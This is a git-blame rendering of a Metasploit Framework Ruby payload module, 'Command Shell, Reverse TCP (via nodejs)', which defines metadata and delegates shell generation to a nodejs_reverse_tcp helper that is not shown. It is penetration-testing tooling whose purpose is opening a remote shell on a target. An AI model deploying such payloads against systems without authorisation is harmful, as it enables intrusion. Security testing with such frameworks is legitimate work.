2013-09-16 18:38:42 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-09-16 18:38:42 +00:00
|
|
|
##
|
|
|
|
|
2013-09-17 02:34:12 +00:00
|
|
|
# It would be better to have a commonjs payload, but because the implementations
|
|
|
|
# differ so greatly when it comes to require() paths for net modules, we will
|
|
|
|
# settle for just getting shells on nodejs.
|
|
|
|
|
2013-09-16 18:38:42 +00:00
|
|
|
require 'msf/core'
|
2013-10-12 08:19:06 +00:00
|
|
|
require 'msf/core/payload/nodejs'
|
2013-09-16 18:38:42 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
|
|
|
module Metasploit3
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2013-10-12 08:19:06 +00:00
|
|
|
include Msf::Payload::NodeJS
|
2013-09-16 18:38:42 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Command Shell, Reverse TCP (via nodejs)',
|
|
|
|
'Description' => 'Creates an interactive shell via nodejs',
|
|
|
|
'Author' => ['RageLtMan', 'joev'],
|
|
|
|
'License' => BSD_LICENSE,
|
2013-09-20 23:14:01 +00:00
|
|
|
'Platform' => 'nodejs',
|
2013-09-16 18:38:42 +00:00
|
|
|
'Arch' => ARCH_NODEJS,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
2013-09-23 16:31:45 +00:00
|
|
|
'PayloadType' => 'nodejs',
|
2013-09-16 18:38:42 +00:00
|
|
|
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
2013-09-25 05:10:59 +00:00
|
|
|
super + command_string
|
2013-09-16 18:38:42 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the JS string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
2013-10-12 08:19:06 +00:00
|
|
|
nodejs_reverse_tcp
|
2013-09-16 18:38:42 +00:00
|
|
|
end
|
|
|
|
end
|